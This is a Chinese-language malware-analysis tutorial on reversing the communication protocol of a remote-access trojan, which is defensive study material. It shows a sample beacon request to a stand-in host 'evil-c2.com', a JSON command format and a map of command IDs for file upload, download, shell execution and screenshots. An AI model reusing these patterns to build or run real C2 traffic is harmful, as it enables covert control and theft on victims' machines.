83、恶意软件分析(三):木马分析、远控木马通信协议还原

远控木马,说白了就是攻击者手里的「遥控器」。你电脑上的一举一动,它都能看到,甚至能直接操控。我早年分析过一个样本,它伪装成系统更新程序,后台却在偷偷连接C2服务器。今天我们就来拆解这类木马的通信协议,看看它是怎么「打电话回家」的。

一、木马通信的基本模型

远控木马的核心,就是建立一条隐蔽的通信通道。我习惯把它的工作流程拆成三步:

  1. 上线:木马启动后,主动连接C2服务器,报告「我来了」。
  2. 心跳:定期发送存活信号,告诉服务器「我还活着」。
  3. 指令执行:服务器下发命令,木马执行并回传结果。

你想想看,如果这三步都做得滴水不漏,那检测起来就非常困难了。嗯,这里要注意,很多木马还会在通信中加入随机延迟,用来绕过流量分析。

核心要点:还原通信协议的关键,就是找到这三个阶段的特征。我个人习惯先从心跳包入手,因为它最规律,最容易定位。

二、实战:还原一个HTTP远控木马的协议

我曾经分析过一个用HTTP通信的远控木马。它看起来就是普通的GET/POST请求,但里面藏着玄机。我们一步步来还原。

2.1 抓包定位

首先,用Wireshark抓取木马运行时的流量。我建议你过滤出HTTP流量,重点关注那些访问陌生域名的请求。比如这个样本,它每隔30秒就会请求一次:

GET /api/check?uid=1001&ver=1.2 HTTP/1.1
Host: evil-c2.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

看到没?uid参数很可疑。这大概率是木马的唯一标识。我当年就是靠这个参数,顺藤摸瓜找到了它的C2服务器。

2.2 协议字段分析

接下来,我们要搞清楚每个字段的含义。我习惯用对比法:修改木马的配置,然后看流量变化。比如我把ver改成2.0,服务器返回的内容变了。这说明版本号会影响后续通信。

字段 含义 备注
uid 木马唯一标识 通常是机器码或MAC地址的哈希
ver 木马版本号 用于兼容不同版本的C2指令
cmd 待执行命令ID 服务器通过这个字段下发指令
data 命令执行结果 Base64编码,防止明文泄露

小技巧:如果遇到加密字段,可以尝试在内存中搜索密钥。很多木马会把密钥硬编码在代码里,或者用简单的异或加密。我曾经在样本的.data段里直接找到了AES密钥。

2.3 指令还原

服务器下发的指令,通常也是编码过的。比如这个木马,它用JSON格式下发命令:

{
  "cmd_id": 101,
  "params": {
    "path": "C:\\Users\\",
    "action": "list"
  }
}

我分析后发现,cmd_id: 101对应的是「列出目录」操作。类似的,还有:

  • 102:上传文件
  • 103:下载文件
  • 104:执行Shell命令
  • 105:截取屏幕

嗯,这里要注意,有些木马会把指令ID用哈希值代替,增加分析难度。但只要你多抓几次包,对比不同指令的流量,总能找到规律。

三、通信协议还原的通用方法

上面是具体案例,下面我总结一套通用方法。你以后遇到任何远控木马,都可以按这个流程来。

3.1 静态分析:定位通信代码

先用IDA或Ghidra打开样本。我习惯搜索socketconnectsendrecv这些API。找到它们,就能定位到通信逻辑。然后顺着调用链,找到数据封包和解包的函数。

注意:有些木马会使用间接系统调用(Indirect Syscall)来绕过API监控。这时候你需要用内核调试器,或者分析它的shellcode加载器。

3.2 动态分析:监控流量变化

运行木马,用Wireshark或Fiddler抓包。我建议你模拟不同的操作,比如点击按钮、输入命令,然后观察流量变化。这样能快速定位到「哪个操作对应哪个数据包」。

3.3 协议逆向:从数据到逻辑

这一步最考验耐心。你需要:

  1. 识别协议边界:找到数据包的起始和结束标志。
  2. 提取字段:把数据拆分成一个个字段,猜测每个字段的含义。
  3. 验证假设:修改字段值,看服务器或木马的反应。

我举个例子。有一次我分析一个自定义TCP协议的木马,它的数据包开头总是0xAB 0xCD。我猜测这是魔数(Magic Number)。然后我改了其中一个字节,木马直接断开了连接。嗯,验证成功。

四、SVG:远控木马通信协议还原流程

下面这张图,展示了我上面讲的整个分析流程。你可以把它当作一个检查清单。

远控木马通信协议还原流程 1. 抓包定位 Wireshark/Fiddler 2. 字段分析 对比法/修改法 3. 指令还原 JSON/二进制解析 详细分析步骤 ① 静态分析:定位 socket/connect/send/recv 等 API ② 动态分析:监控不同操作下的流量变化 ③ 协议逆向:识别魔数、长度、类型、载荷等字段 ④ 验证假设:修改字段值,观察木马/服务器反应 ⑤ 编写模拟器:用Python/Go模拟C2通信,验证协议完整性

五、避坑指南与经验总结

做木马协议还原,有几个坑我踩过,今天分享给你。

坑1:不要忽略心跳包

我曾经分析一个木马,花了大量时间在指令包上,结果发现心跳包里藏着密钥更新逻辑。如果你只关注指令包,可能会错过关键信息。

坑2:注意协议混淆

有些木马会把通信伪装成HTTPS,但证书是自签名的。这时候你要检查证书的颁发者、有效期等字段。如果发现异常,大概率是木马在搞鬼。

经验之谈:我建议你准备一个「协议还原工具箱」,里面放好Wireshark、Fiddler、010 Editor、Python脚本等工具。遇到新样本,直接开干,不用临时找工具。

最后说一句。远控木马的协议还原,本质上是一场「猜谜游戏」。你猜对了字段含义,就能还原整个通信逻辑。多练几次,你就能找到感觉。嗯,今天就到这里。


公众号:蓝海资料掘金营,微信deep3321